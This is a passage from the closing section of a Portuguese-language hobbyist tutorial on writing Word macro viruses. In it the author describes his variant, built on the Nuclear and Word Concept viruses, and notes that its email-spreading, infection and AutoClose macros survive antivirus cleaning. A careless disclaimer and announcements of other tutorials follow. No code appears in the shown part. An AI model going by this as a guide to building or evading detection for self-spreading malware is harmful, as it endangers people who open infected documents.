coisa, eu notei que a versão final desse vírus é
detectável pelo Scan v. 3.0 (versões anteriores não é
detectável) como sendo do tipo NUCLEAR, ou seja esse é
uma variante, na verdade eu me baseei em parte no vírus
nuclear, mas também me basei no Word Concept e também
naquilo que eu fiz, tanto é assim que mesmo depois de
usan a opção /clean no Scan o que acontece é que eu
perco somente parte do vírus, ele continua funcional mas
eu perco umas 4 macros que podiam ajudar, mas nem tudo é
perfeito. Pelo menos a macro email, infec e AutoClose
continuam.
- Como se nota, esse texto não
trata somente de como fazer Vírus de macro e sim de como
se prevenir contra um, ensina algumas funções
"legais" do WordBasic e depois de tudo ele
ensina a como fazer um vírus. Tentei ser o mais claro
possível.
-
- PALAVRAS
FINAIS
- O autor não se responsabilisa
por nenhum dano sofrido pela má utilização das
informações aqui contidas, como diz aquele velho
ditado: Quem tá na chuva é para se molhar.
-
-
- Junto com esse tutorial eu
estarei lançando o meu segundo tutorial sobre UNIX,
muito mais completo, para um público mais experiente. E
também lançando a versão 4.0 da minha HP, deixando ela
muito melhor e maior.
- Em breve lançarei a minha Home
Page sobre Quake, por enquanto estou apenas juntando
material.
- Como alguém já deve ter
notado, eu estou passando a usar mais comandos html nos
meus textos, nesse aqui por exemplo existe comandos que
não acaba mais, antes eu só usava no início e no fim,
justamente para que o pessoal que quisesse converter o
arquivo .htm para .txt simplesmente tirasse o cabeçalho
eo fim. Mas agora eu estou mais a fim de embelezar o
texto, portanto textos como esse vão se tornar padrão
para mim.
-